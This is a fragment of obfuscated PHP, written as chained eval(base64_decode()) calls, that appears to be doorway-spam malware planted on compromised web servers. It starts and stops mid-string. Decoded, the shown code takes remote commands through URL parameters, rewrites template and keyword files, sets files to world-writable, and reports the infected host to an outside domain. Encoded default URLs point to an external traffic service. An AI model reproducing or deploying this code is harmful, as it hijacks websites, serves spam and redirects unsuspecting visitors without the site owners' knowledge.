MzM1M1sncG9zdCddID0gYXJyYXlfcG9wKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYpOyAkUjdCQkJGMUIwRjFEMzQwMURDQTQ1NDYwNkNDRkIwNjUyID0gMDsgZm9yZWFjaCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGIGFzICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkI9PiRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpeyBpZihwcmVnX21hdGNoKCIvaHJlZj1bXCJcJ10oW15cIlwnXSspW1wiXCddLyIsICRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMsICRSRDlCODVCRUNGNzdBQURGMTYwODU1NTVGNkU1QUM4ODIpKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snbGlua3MnXVtdID0gJFJEOUI4NUJFQ0Y3N0FBREYxNjA4NTU1NUY2RTVBQzg4MlsxXTsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ11bJFI3QkJCRjFCMEYxRDM0MDFEQ0E0NTQ2MDZDQ0ZCMDY1Ml0gLj0gJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMzsgfWVsc2V7ICRSN0JCQkYxQjBGMUQzNDAxRENBNDU0NjA2Q0NGQjA2NTIrKzsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ11bJFI3QkJCRjFCMEYxRDM0MDFEQ0E0NTQ2MDZDQ0ZCMDY1Ml0gPSAkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzOyB9IH0gaWYoaXNfYXJyYXkoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ10pICYmICFzdHJwb3MoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ11bY291bnQoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ10pXSwgJ2h0dHA6LycuJy8nKSl7IHVuc2V0KCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2Jsb2NrcyddW2NvdW50KCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2Jsb2NrcyddKV0pOyB9IH0gaWYoaXNfYXJyYXkoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ10pKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snY291bnQnXSA9IGNvdW50KCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2Jsb2NrcyddKTsgfWVsc2V7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2V4Y2x1c2l2ZSddID0gJyc7IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkMyM0Y3RUM2NEYwQkRFM0I1QURFNkM5REQ0OEJFMUYyKCl7IGlmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2xmJ10pIHx8IGZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2NwJ10gLiAnMCcpIHx8IGZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2NwJ10gLiAnMScpIHx8IGZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2NwJ10gLiAnMicpKXsgcmV0dXJuIHRydWU7IH1lbHNleyByZXR1cm4gZmFsc2U7IH19'));eval(base64_decode('ZnVuY3Rpb24gRjUyMjkzQjc4NkYzOUI5MDgwOEQwNUEyNTMwQkE1MTAwKCRSQTI0MDFGM0E2RTgyNjM4NDQyMzlENzhGQ0U5NjE5N0IgPSAwKXsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnY3AnXSAuICd1JykgJiYgKCRSQTI0MDFGM0E2RTgyNjM4NDQyMzlENzhGQ0U5NjE5N0IgfHwgKG1rdGltZSgpIC0gZmlsZW10aW1lKCRHTE9CQUxTWydkZ2NwJ10gLiAndScpKSA+IDEwICogNjApKXsgdW5saW5rKCRHTE9CQUxTWydkZ2NwJ10gLiAndScpOyB9fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkY1QThGNDY3NjMxQkJCOEVERDVGQjZBQjdENDVEMkI2KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gInVwZGF0aW5nIGRvb3J3YXlzIGZyb206ICIuJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1My4iPGJyPiI7IH0gaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnY3AnXSAuICd1JykpeyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8ic3RvcCBmbGFnIFsndSddIGZvdW5kPGJyPls0NjU0NzY2NzNdIjsgfSByZXR1cm47IH0gdG91Y2goJEdMT0JBTFNbJ2RnY3AnXSAuICd1Jyk7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSBGRkQ0NTY0MDY3NDVEODE2QTQ1Q0FFNTU0Qzc4OEU3NTQoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1MywgMTgwLCAkUkY4OUY1MThFNDBGRjUzQjRGRDJBN0QyNDQwMDkwRDYzKTsgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiA9IHByZWdfcmVwbGFjZSgiL14uKltcclxuXS8iLCAiIiwgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQik7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSBwcmVnX3JlcGxhY2UoIi9bXG5ccl0uKi8iLCAiIiwgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQik7ICRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgPSBleHBsb2RlKCImIiwgdHJpbSgkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCKSk7ICRSREJGODY2RTYyOTNCQjU5RTY1NDAzM0UyOTlFQzhDRkUgPSAwOyBmb3JlYWNoKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7ICRSNjA5NERGRkMyQzJCOEU0Qzg2ODlGMUNFNjcyNUE1QTUgPSBleHBsb2RlKCI9IiwgJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyk7ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbcmF3dXJsZGVjb2RlKCRSNjA5NERGRkMyQzJCOEU0Qzg2ODlGMUNFNjcyNUE1QTVbMF0pXSA9IHJhd3VybGRlY29kZSgkUjYwOTRERkZDMkMyQjhFNEM4Njg5RjFDRTY3MjVBNUE1WzFdKTsgfSBpZigkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydkZ3VybCddICYmIHN0cnBvcygkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydkZ3VybCddLCAnaHR0cDovJy4nLycpID09PSAwKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RndXJsJ10gPSAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydkZ3VybCddOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7ZWNobyAic2V0IGRndXJsIHRvOiB7JEdMT0JBTFNbJ2Rnb3B0J11bJ2RndXJsJ119PGJyPiI7fSB9IGlmKCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ3R0J10peyAkR0xPQkFMU1snZGdvcHQnXVsndHQnXSA9ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ3R0J107IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXtlY2hvICJzZXQgdHQgdG86IHskR0xPQkFMU1snZGdvcHQnXVsndHQnXX08YnI+Ijt9IH0gaWYoJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsnZGdxbiddKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RncW4nXSA9ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2RncW4nXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBkZ3FuIHRvOiB7JEdMT0JBTFNbJ2Rnb3B0J11bJ2RncW4nXX08YnI+Ijt9IH0gaWYoaXNzZXQoJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsna2QnXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsna2QnXSA9ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2tkJ107IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXtlY2hvICJzZXQga2QgdG86IHskR0xPQkFMU1snZGdvcHQnXVsna2QnXX08YnI+Ijt9IH0gaWYoaXNzZXQoJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsncHJsJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ3BybCddID0gJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsncHJsJ107IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXtlY2hvICJzZXQgcHJsIHRvOiB7JEdMT0JBTFNbJ2Rnb3B0J11bJ3BybCddfTxicj4iO30gfSBpZihpc3NldCgkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydzcCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydzcCddID0gJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsnc3AnXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBzcCB0bzogeyRHTE9CQUxTWydkZ29wdCddWydzcCddfTxicj4iO30gfSBpZihpc3NldCgkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydzdCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydzdCddID0gJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsnc3QnXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBzdCB0bzogeyRHTE9CQUxTWydkZ29wdCddWydzdCddfTxicj4iO30gfSBpZihpc3NldCgkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydjdCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydjdCddID0gJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsnY3QnXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBjdCB0bzogeyRHTE9CQUxTWydkZ29wdCddWydjdCddfTxicj4iO30gfSBpZihpc3NldCgkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydtYXJrb3YnXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsnbWFya292J10gPSAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydtYXJrb3YnXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBtYXJrb3YgdG86IHskR0xPQkFMU1snZGdvcHQnXVsnbWFya292J119PGJyPiI7fSB9IGlmKGlzc2V0KCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ3RoZW1lJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ3RoZW1lJ10gPSAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWyd0aGVtZSddOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7ZWNobyAic2V0IHRoZW1lIHRvOiB7JEdMT0JBTFNbJ2Rnb3B0J11bJ3RoZW1lJ119PGJyPiI7fSB9IGlmKGlzc2V0KCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2ZyYiddKSl7ICRHTE9CQUxTWydkZ29wdCddWydmcmInXSA9ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2ZyYiddOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7ZWNobyAic2V0IGZyYiB0bzogeyRHTE9CQUxTWydkZ29wdCddWydmcmInXX08YnI+Ijt9IH0gRkFCRjFGOTc2ODM1M0IyNTY0QjU0NjBGMTc4QzRGMUNCKCk7IGlmKCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ3RlbXBsYXRlJ10peyBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJEdMT0JBTFNbJ2RndGYnXSwgJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsndGVtcGxhdGUnXSwgInRlbXBsYXRlIGZpbGUgeyRHTE9CQUxTWydkZ3RmJ119IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5Li4uPGJyPiIsIDEsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpOyB9IGlmKCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2tleXdvcmRzJ10peyAkUjc5NjVDQjM3OThBMzdFNUEyOTRCNjk1RUNDMUM2RTlCID0gZXhwbG9kZSgiQHNlcEAiLCAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydrZXl3b3JkcyddKTsgZm9yZWFjaCgkUjc5NjVDQjM3OThBMzdFNUEyOTRCNjk1RUNDMUM2RTlCIGFzICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkI9PiRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpeyAkUjc5NjVDQjM3OThBMzdFNUEyOTRCNjk1RUNDMUM2RTlCWyRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkJdID0gdHJpbSgkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKSAuICJcbiI7IH0gRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRHTE9CQUxTWydkZ2tmJ10sIHRyaW0oaW1wbG9kZSgiIiwgJFI3OTY1Q0IzNzk4QTM3RTVBMjk0QjY5NUVDQzFDNkU5QikpLCAia2V5d29yZHMgZmlsZSB7JEdMT0JBTFNbJ2Rna2YnXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7IEZFMDMyM0E5MDM5QUREMjk3OEJGNUI0OTU1MDU3MkM3QygkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKTsgRkI5N0ZBNjNDNzhCQzkxQjU0MDNDNzdBOENGM0E5OTg2KCRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpOyAkX0dFVFsnZGdtJ10gPSB0cnVlOyAkR0xPQkFMU1snZGdtYXBfdmFyJ10gPSB0cnVlOyBpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ2RnZGYnXSk7IEYzNDYzOUE1MjVEQjU5QkJFODlBMUI2OEEzNDE5ODlBOSgkR0xPQkFMU1snZGd3ZG9tYWluJ10gLiAiP2NvbmZpcm1fZHciLCAnaG9zdD0nIC4gcmF3dXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnJm1hcD0nIC4gcmF3dXJsZW5jb2RlKHRyaW0oJEdMT0JBTFNbJ2RnbWFwJ10pKSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7IH0gRjUyMjkzQjc4NkYzOUI5MDgwOEQwNUEyNTMwQkE1MTAwKDEpO30='));eval(base64_decode('ZnVuY3Rpb24gRjE3Qjg3OTA4OTY5MDUyNTU1ODg5ODdDRjAxMkFGQkQ4KCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgZm9yZWFjaCgkR0xPQkFMU1snZGdvcHQnXSBhcyAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCPT4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKXsgaWYoaXNfbnVtZXJpYygkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgLj0gJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qi4iID0gIi4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzLiJcbiI7IH1lbHNleyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzIC49ICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkIuIiA9IFwiIi4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzLiJcIlxuIjsgfSB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('ZnVuY3Rpb24gRjEwRjkwNjQxODRFNDc4MTlFQjRGNkNEQzQzNEQwRkFEKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgZm9yZWFjaCgkR0xPQkFMU1snZGdvcHQnXSBhcyAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCPT4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKXsgaWYoaXNfbnVtZXJpYygkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgLj0gYmFzZTY0X2VuY29kZSgkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCKS4iID0gIi5iYXNlNjRfZW5jb2RlKCRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpLiJcbiI7IH1lbHNlaWYoJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qil7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgLj0gYmFzZTY0X2VuY29kZSgkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCKS4iID0gXCIiLmJhc2U2NF9lbmNvZGUoJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMykuIlwiXG4iOyB9IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkFCRjFGOTc2ODM1M0IyNTY0QjU0NjBGMTc4QzRGMUNCKCRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSB0cnVlKXsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnY24nXSkpe2NobW9kKCRHTE9CQUxTWydkZ2NuJ10sIDA3NzcpO30gJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiA9IGZvcGVuKCRHTE9CQUxTWydkZ2NuJ10sICJ3Iik7IGlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIpeyBpZighZndyaXRlKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIsIEYxMEY5MDY0MTg0RTQ3ODE5RUI0RjZDREM0MzREMEZBRCgpKSl7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAid3JpdGluZyB0byBvcHRpb25zIGZpbGUgW3skR0xPQkFMU1snZGdjbiddfV0gZmFpbGVkPGJyPiI7IH0gcmV0dXJuOyB9IGZmbHVzaCgkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTsgZmNsb3NlKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIpOyBpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdjbiddKSl7Y2htb2QoJEdMT0JBTFNbJ2RnY24nXSwgMDc3Nyk7fSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIm9wdGlvbnMgZmlsZSBbeyRHTE9CQUxTWydkZ2NuJ119XSB1cGRhdGVkIHN1Y2Nlc3NmdWxseTxicj4iOyB9IH1lbHNleyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIjxiIHN0eWxlPSdjb2xvcjpyZWQnPmNhbid0IG9wZW4gb3B0aW9ucyBmaWxlIFt7JEdMT0JBTFNbJ2RnY24nXX1dPC9iPjxicj4iOyB9IH19'));eval(base64_decode('ZnVuY3Rpb24gRkUwM0MwOTU4RERGRjkyODA3QjYxNkY3RUQ0ODlGRThGKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gYXJyYXkoKTsgaWYoZmlsZV9leGlzdHMoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCkpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gZmlsZSgkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKTsgZm9yZWFjaCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGIGFzICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkI9PiRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpeyAkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDID0gZXhwbG9kZSgiID0gIiwgJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyk7ICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMF0gPSB0cmltKCRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMF0pOyBpZigkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzBdKXsgJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSA9IHRyaW0oJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSk7IGlmKCRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV1bMF0gPT0gJyInKXsgJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSA9IHN1YnN0cigkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzFdLCAxLCBzdHJsZW4oJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSkgLSAyKTsgfSAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzW3RyaW0oJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1swXSldID0gJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXTsgfSB9IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjM3MDczOENENDA4MTk5NkMwNDdBQkVEQ0RFRDZDRUY1KCl7ICRSNjFDQ0QwNEU5NkYwQTQ4NzNEMkI1Njg0Mzg2MDVCQTQgPSBGRTAzQzA5NThEREZGOTI4MDdCNjE2RjdFRDQ4OUZFOEYoJEdMT0JBTFNbJ2RnY24nXSk7ICRSODg0MjdEMURBQTM5RjRBQzIyRDdCRTdGODQ4MjI4NjkgPSAwOyAkR0xPQkFMU1snZGdvcHQnXSA9IGFycmF5KCk7IGlmKGlzX2FycmF5KCRSNjFDQ0QwNEU5NkYwQTQ4NzNEMkI1Njg0Mzg2MDVCQTQpKXsgZm9yZWFjaCgkUjYxQ0NEMDRFOTZGMEE0ODczRDJCNTY4NDM4NjA1QkE0IGFzICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkI9PiRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpeyBpZihpc3NldCgkUjYxQ0NEMDRFOTZGMEE0ODczRDJCNTY4NDM4NjA1QkE0WydkZ3FuJ10pKXsgJFI4ODQyN0QxREFBMzlGNEFDMjJEN0JFN0Y4NDgyMjg2OSA9IDE7ICRHTE9CQUxTWydkZ29wdCddWyRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkJdID0gJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMzsgfWVsc2V7ICRHTE9CQUxTWydkZ29wdCddW2Jhc2U2NF9kZWNvZGUoJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2QildID0gYmFzZTY0X2RlY29kZSh0cmltKCRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpKTsgfSB9IH0gJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9ICRSODg0MjdEMURBQTM5RjRBQzIyRDdCRTdGODQ4MjI4Njk7IGlmKCEkR0xPQkFMU1snZGdvcHQnXVsnZGdxbiddKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RncW4nXSA9ICJzaG93X3BhZ2UiOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ2RndXJsJ10peyAkR0xPQkFMU1snZGdvcHQnXVsnZGd1cmwnXSA9IGJhc2U2NF9kZWNvZGUoImFIUjBjRG92TDNkd2JITjBjaTV1WlhRdmFXNHVZMmRwUHpZbWNHRnlZVzFsZEdWeVBTUnJaWGwzYjNKa0puTmxQU1J6WlNaMWNqMHhKbk5sYjNKbFpqMGxjbVZtSlNaSVZGUlFYMUpGUmtWU1JWSTlKWE5sYkdaZmRYSnNKU1prWldaaGRXeDBYMnRsZVhkdmNtUTlKV3QzSlE9PSIpOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3UnXSl7ICRHTE9CQUxTWydkZ29wdCddWydkZ3N1J10gPSBiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwzZHdiSE4wY2k1dVpYUXZhVzR1WTJkcFB6Y21jR0Z5WVcxbGRHVnlQU1ZyZHlVbVNGUlVVRjlTUlVaRlVrVlNQU1Z6Wld4bVgzVnliQ1U9Iik7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCE